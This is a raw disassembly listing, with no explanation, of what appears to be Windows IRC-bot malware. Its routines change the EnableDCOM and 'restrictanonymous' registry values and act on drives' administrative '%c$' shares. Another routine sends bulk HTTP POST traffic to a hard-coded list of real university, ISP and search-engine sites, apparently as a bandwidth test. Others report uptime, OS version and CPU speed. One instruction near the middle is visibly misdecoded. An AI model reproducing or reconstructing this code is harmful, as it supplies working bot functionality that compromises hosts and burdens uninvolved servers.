		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		jmp	short loc_41A189
; ---------------------------------------------------------------------------


loc_41A16F:				; CODE XREF: sub_41A044+E2j
		push	offset dword_43C7D4
		jmp	short loc_41A17B
; ---------------------------------------------------------------------------


loc_41A176:				; CODE XREF: sub_41A044+13j
		push	offset dword_43C7A4


loc_41A17B:				; CODE XREF: sub_41A044+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A189:				; CODE XREF: sub_41A044+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A1A8
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A1A8:				; CODE XREF: sub_41A044+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4152AE
		cmp	ds:dword_4CDCEC, edi
		pop	ecx
		jnz	loc_41A325
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A1CB:				; CODE XREF: sub_41A044+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	ds:dword_4CDB3C
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A26A
		cmp	eax, 0EAh
		jz	short loc_41A26A
		xor	esi, esi


loc_41A1F9:				; CODE XREF: sub_41A044+21Fj
		push	ds:off_43C66C[esi]
		push	edi
		call	sub_418E68
		pop	ecx
		pop	ecx
		push	ds:off_43C66C[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A21E
		push	offset dword_43C780
		jmp	short loc_41A223
; ---------------------------------------------------------------------------


loc_41A21E:				; CODE XREF: sub_41A044+1D1j
		push	offset dword_43C754


loc_41A223:				; CODE XREF: sub_41A044+1D8j
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A250
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A250:				; CODE XREF: sub_41A044+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4152AE
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_41A1F9
		jmp	loc_41A302
; ---------------------------------------------------------------------------


loc_41A26A:				; CODE XREF: sub_41A044+1AAj
					; sub_41A044+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A2F9


loc_41A279:				; CODE XREF: sub_41A044+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_41DA37
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A2EE
		push	edi
		call	sub_418D55
		push	eax
		push	0
		call	sub_418E68
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41A2AE
		push	offset dword_43C730
		jmp	short loc_41A2B3
; ---------------------------------------------------------------------------


loc_41A2AE:				; CODE XREF: sub_41A044+261j
		push	offset dword_43C704


loc_41A2B3:				; CODE XREF: sub_41A044+268j
		push	200h
		push	eax
		call	sub_41BB70
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A2E1
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A2E1:				; CODE XREF: sub_41A044+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_41A2EE:				; CODE XREF: sub_41A044+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A279
		xor	edi, edi


loc_41A2F9:				; CODE XREF: sub_41A044+22Fj
		push	[ebp+var_8]
		call	ds:dword_4CDC88


loc_41A302:				; CODE XREF: sub_41A044+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A1CB
		lea	eax, [ebp+var_214]
		push	offset dword_43C6DC
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A338
; ---------------------------------------------------------------------------


loc_41A325:				; CODE XREF: sub_41A044+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43C6AC
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A338:				; CODE XREF: sub_41A044+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A356
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A356:				; CODE XREF: sub_41A044+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4152AE
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_41A044	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A36A	proc near		; CODE XREF: sub_419FE4:loc_41A02Bp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_4CDCC4, ebx
		push	esi
		jnz	loc_41A498
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	ds:dword_4CDC68	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A3F5
		mov	ax, ds:word_43B3D4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B1D0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	ds:dword_4CDC1C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41A3DD
		push	offset dword_43CA5C
		jmp	short loc_41A3E2
; ---------------------------------------------------------------------------


loc_41A3DD:				; CODE XREF: sub_41A36A+6Aj
		push	offset dword_43CA40


loc_41A3E2:				; CODE XREF: sub_41A36A+71j
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		jmp	short loc_41A408
; ---------------------------------------------------------------------------


loc_41A3F5:				; CODE XREF: sub_41A36A+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43C894
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A408:				; CODE XREF: sub_41A36A+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A427
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A427:				; CODE XREF: sub_41A36A+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4152AE
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	ds:dword_4CDC68	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A491
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	ds:dword_4CDC1C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41A479
		push	offset dword_43CA00
		jmp	short loc_41A47E
; ---------------------------------------------------------------------------


loc_41A479:				; CODE XREF: sub_41A36A+106j
		push	offset dword_43C9C8


loc_41A47E:				; CODE XREF: sub_41A36A+10Dj
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_4CDBD4	; RegCloseKey
		jmp	short loc_41A4AB
; ---------------------------------------------------------------------------


loc_41A491:				; CODE XREF: sub_41A36A+E2j
		push	offset dword_43C98C
		jmp	short loc_41A49D
; ---------------------------------------------------------------------------


loc_41A498:				; CODE XREF: sub_41A36A+13j
		push	offset dword_43C7A4


loc_41A49D:				; CODE XREF: sub_41A36A+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A4AB:				; CODE XREF: sub_41A36A+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4CA
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A4CA:				; CODE XREF: sub_41A36A+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4152AE
		cmp	ds:dword_4CDCEC, ebx
		pop	ecx
		jnz	loc_41A641
		push	edi
		xor	esi, esi
		mov	edi, 200h


loc_41A4EB:				; CODE XREF: sub_41A36A+1EEj
		push	ds:dword_43C670[esi]
		push	ds:off_43C66C[esi]
		push	ebx
		call	sub_418DBC
		add	esp, 0Ch
		push	ds:off_43C66C[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41A517
		push	offset dword_43C96C
		jmp	short loc_41A51C
; ---------------------------------------------------------------------------


loc_41A517:				; CODE XREF: sub_41A36A+1A4j
		push	offset dword_43C944


loc_41A51C:				; CODE XREF: sub_41A36A+1ABj
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A545
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A545:				; CODE XREF: sub_41A36A+1BFj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4152AE
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_41A4EB
		call	near ptr 0B10000h
		insd
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A629


loc_41A56D:				; CODE XREF: sub_41A36A+2B9j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A61E
		cmp	bl, 41h
		jz	loc_41A61E
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41BB70
		push	esi
		push	offset aC_0	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_41BB70
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	ds:dword_4CDC58	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41A61E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418DBC
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41A5E2
		push	offset dword_43C96C
		jmp	short loc_41A5E7
; ---------------------------------------------------------------------------


loc_41A5E2:				; CODE XREF: sub_41A36A+26Fj
		push	offset dword_43C944


loc_41A5E7:				; CODE XREF: sub_41A36A+276j
		push	edi
		push	eax
		call	sub_41BB70
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A611
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A611:				; CODE XREF: sub_41A36A+28Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4152AE
		pop	ecx


loc_41A61E:				; CODE XREF: sub_41A36A+20Bj
					; sub_41A36A+214j ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A56D


loc_41A629:				; CODE XREF: sub_41A36A+1FDj
		lea	eax, [ebp+var_220]
		push	offset dword_43C914
		push	eax
		call	sub_41BA76
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A654
; ---------------------------------------------------------------------------


loc_41A641:				; CODE XREF: sub_41A36A+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43C6AC
		push	eax
		call	sub_41BA76
		pop	ecx
		pop	ecx


loc_41A654:				; CODE XREF: sub_41A36A+2D5j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A672
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		add	esp, 14h


loc_41A672:				; CODE XREF: sub_41A36A+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4152AE
		pop	ecx
		xor	eax, eax
		pop	esi
		inc	eax
		pop	ebx
		leave
		retn
sub_41A36A	endp

; ---------------------------------------------------------------------------


loc_41A686:				; CODE XREF: seg000:0041A6A2j
		push	1
		push	0
		push	0
		push	0
		call	sub_41A044
		add	esp, 10h
		push	ds:dword_43C668
		call	ds:dword_428064	; Sleep
		jmp	short loc_41A686

; =============== S U B	R O U T	I N E =======================================



sub_41A6A4	proc near		; CODE XREF: sub_41A89B+CBp
					; sub_41A89B+DDp ...

arg_0		= dword	ptr  4

		call	ds:dword_4280A8	; GetTickCount
		push	eax
		call	sub_41BAC8
		pop	ecx
		call	sub_41BAD2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A6A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6BE	proc near		; CODE XREF: sub_41A89B+D4p
					; sub_41A89B+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B1D0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A897
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B780
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A9E8
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A897
		push	50h
		call	ds:dword_4CDBF8	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	ds:dword_4CDC78	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A897
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	ds:dword_4CDBA0	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A897
		push	32003h
		call	sub_41D1B5
		mov	edi, ds:dword_4280A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_41BAC8
		call	sub_41BAD2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B780
		push	32000h
		push	esi
		push	ebx
		call	sub_41B780
		push	ebx
		call	sub_41B1D0
		push	323EAh
		mov	ebx, eax
		call	sub_41D1B5
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41BA76
		push	[ebp+var_8]
		push	esi
		call	sub_41C0B0
		push	offset asc_4364CC ; "\r\n"
		push	esi
		call	sub_41C0B0
		add	esp, 40h
		push	esi
		call	sub_41B1D0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A815
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A7E5
; ---------------------------------------------------------------------------


loc_41A7E2:				; CODE XREF: sub_41A6BE+155j
		mov	eax, [ebp+arg_0]


loc_41A7E5:				; CODE XREF: sub_41A6BE+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		jnb	short loc_41A7F7
		push	[ebp+var_C]
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F7:				; CODE XREF: sub_41A6BE+132j
		push	ebx


loc_41A7F8:				; CODE XREF: sub_41A6BE+137j
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4CDC48	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A87E
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A7E2


loc_41A815:				; CODE XREF: sub_41A6BE+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	ds:flt_428714
		fst	[ebp+arg_0]
		fcomp	ds:flt_428710
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41A83F
		fld1
		fstp	[ebp+arg_0]


loc_41A83F:				; CODE XREF: sub_41A6BE+17Aj
		push	[ebp+var_4]
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_8]
		call	sub_41B2A1
		push	esi
		call	sub_41B2A1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	ds:flt_42870C
		fmul	ds:flt_428708
		call	sub_41C988


loc_41A879:				; CODE XREF: sub_41A6BE+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A87E:				; CODE XREF: sub_41A6BE+147j
		push	[ebp+var_4]
		call	ds:dword_4CDC90	; closesocket
		push	[ebp+var_8]
		call	sub_41B2A1
		push	esi
		call	sub_41B2A1
		pop	ecx
		pop	ecx


loc_41A897:				; CODE XREF: sub_41A6BE+19j
					; sub_41A6BE+42j ...
		xor	eax, eax
		jmp	short loc_41A879
sub_41A6BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A89B	proc near		; CODE XREF: seg000:00404963p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A6A4
		push	[ebp+eax*4+var_3C]
		call	sub_41A6BE
		push	8
		mov	esi, eax
		call	sub_41A6A4
		push	[ebp+eax*4+var_3C]
		call	sub_41A6BE
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A99C
		test	eax, eax
		jz	short loc_41A998
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A99E
; ---------------------------------------------------------------------------


loc_41A998:				; CODE XREF: sub_41A89B+F4j
		mov	ebx, esi
		jmp	short loc_41A99E
; ---------------------------------------------------------------------------


loc_41A99C:				; CODE XREF: sub_41A89B+F0j
		mov	ebx, eax


loc_41A99E:				; CODE XREF: sub_41A89B+FBj
					; sub_41A89B+FFj
		push	0Ch
		call	sub_41A6A4
		push	[ebp+eax*4+var_6C]
		call	sub_41A6BE
		push	0Ch
		mov	edi, eax
		call	sub_41A6A4
		push	[ebp+eax*4+var_6C]
		call	sub_41A6BE
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A9D6
		test	eax, eax
		jz	short loc_41A9D2
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A9D8
; ---------------------------------------------------------------------------


loc_41A9D2:				; CODE XREF: sub_41A89B+12Ej
		mov	esi, edi
		jmp	short loc_41A9D8
; ---------------------------------------------------------------------------


loc_41A9D6:				; CODE XREF: sub_41A89B+12Aj
		mov	esi, eax


loc_41A9D8:				; CODE XREF: sub_41A89B+135j
					; sub_41A89B+139j
		push	6
		call	sub_41A6A4
		push	[ebp+eax*4+var_1C]
		call	sub_41A6BE
		push	6
		mov	edi, eax
		call	sub_41A6A4
		push	[ebp+eax*4+var_1C]
		call	sub_41A6BE
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AA10
		test	eax, eax
		jz	short loc_41AA0C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AA12
; ---------------------------------------------------------------------------


loc_41AA0C:				; CODE XREF: sub_41A89B+168j
		mov	ecx, edi
		jmp	short loc_41AA12
; ---------------------------------------------------------------------------


loc_41AA10:				; CODE XREF: sub_41A89B+164j
		mov	ecx, eax


loc_41AA12:				; CODE XREF: sub_41A89B+16Fj
					; sub_41A89B+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AA1F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AA22
; ---------------------------------------------------------------------------


loc_41AA1F:				; CODE XREF: sub_41A89B+17Bj
		push	2
		pop	edi


loc_41AA22:				; CODE XREF: sub_41A89B+182j
		test	esi, esi
		jz	short loc_41AA2A
		add	eax, esi
		jmp	short loc_41AA2B
; ---------------------------------------------------------------------------


loc_41AA2A:				; CODE XREF: sub_41A89B+189j
		dec	edi


loc_41AA2B:				; CODE XREF: sub_41A89B+18Dj
		test	ecx, ecx
		jz	short loc_41AA33
		add	eax, ecx
		jmp	short loc_41AA34
; ---------------------------------------------------------------------------


loc_41AA33:				; CODE XREF: sub_41A89B+192j
		dec	edi


loc_41AA34:				; CODE XREF: sub_41A89B+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43CAB8
		push	eax
		call	sub_41BA76
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409966
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4152AE
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A89B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA78	proc near		; CODE XREF: seg000:00404052p
					; seg000:004044D6p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4280A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_4DDE80
		push	32h
		push	esi
		call	sub_41BB70
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_41AA78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AACB	proc near		; CODE XREF: sub_416F7D+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_4280C8	; GetVersionExA
		test	eax, eax
		jz	short loc_41AB5D
		cmp	[ebp+var_90], 4
		jnz	short loc_41AB33
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AB1B
		cmp	[ebp+var_84], 1
		jnz	short loc_41AB0D
		inc	esi


loc_41AB0D:				; CODE XREF: sub_41AACB+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AB5D
		xor	esi, esi
		inc	esi
		jmp	short loc_41AB5D
; ---------------------------------------------------------------------------


loc_41AB1B:				; CODE XREF: sub_41AACB+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AB28


loc_41AB24:				; CODE XREF: sub_41AACB+77j
		push	2
		jmp	short loc_41AB5C
; ---------------------------------------------------------------------------


loc_41AB28:				; CODE XREF: sub_41AACB+57j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AB5D
		jmp	short loc_41AB4D
; ---------------------------------------------------------------------------


loc_41AB33:				; CODE XREF: sub_41AACB+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AB5D
		cmp	[ebp+var_8C], esi
		jz	short loc_41AB24
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AB51


loc_41AB4D:				; CODE XREF: sub_41AACB+66j
		push	3
		jmp	short loc_41AB5C
; ---------------------------------------------------------------------------


loc_41AB51:				; CODE XREF: sub_41AACB+80j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AB5D
		push	7


loc_41AB5C:				; CODE XREF: sub_41AACB+5Bj
					; sub_41AACB+84j
		pop	esi


loc_41AB5D:				; CODE XREF: sub_41AACB+25j
					; sub_41AACB+49j ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41AACB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AB62	proc near		; CODE XREF: sub_41AC18+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_41AB6A:				; CODE XREF: sub_41AB62+2Fj
					; sub_41AB62+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	ds:dword_428064	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_41D630
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_41AB6A
		jb	short loc_41AB99
		cmp	ebx, edi
		ja	short loc_41AB6A


loc_41AB99:				; CODE XREF: sub_41AB62+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_41D6A0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
